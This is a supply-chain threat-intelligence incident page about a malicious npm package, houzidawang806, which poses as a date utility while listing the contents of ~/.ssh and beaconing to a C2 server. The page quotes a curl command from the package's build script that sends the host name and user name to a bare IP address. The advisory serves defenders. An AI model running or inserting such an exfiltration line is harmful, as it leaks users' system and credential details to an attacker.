THREATPKG
SYNC STALE

Supply-chain threat intelligence

Incident detail

criticalnpm·credential theft·osv

Malicious code in houzidawang806 (npm)

houzidawang806

Risk score

92

AI summary

Indexed incident for houzidawang806 (npm).

Description

Package advertises itself as 'a simple date formatting utility' (index.js is a 7-line formatDate export), but ships postinstall.js which enumerates the contents of the installer's ~/.ssh directory and POSTs the listing along with username and platform to https://124.221.154.135/post. The file's own comments explicitly describe the destination as a C2 server. In addition, package.json scripts.build runs curl -X POST --data "h=$(hostname)&u=$(whoami)" http://124.221.154.135/pre, sending installer hostname and login name in cleartext to the same bare IP. The description/contents mismatch (date-utility cover story shipping SSH enumeration + C2 beaconing) is the canonical supply-chain malware shape. Although postinstall.js is not currently wired into a lifecycle hook in this version (and build is not an auto-run lifecycle step), the file is named and structured to auto-execute the moment a postinstall hook is added, and any consumer running npm run build triggers the curl exfiltration. Intent is unambiguous; this is not a legitimate package.

Technical details

Affected versions

=1.0.7=1.0.9=1.0.3=1.0.4=1.0.2=1.0.1=1.0.6=1.0.5

Indicators

  • affected version=1.0.775%
  • affected version=1.0.975%
  • affected version=1.0.375%
  • affected version=1.0.475%
  • affected version=1.0.275%
  • affected version=1.0.175%
  • affected version=1.0.675%
  • affected version=1.0.575%

Timeline

  1. Advisory published
  2. Indexed by ThreatPkg

Related incidents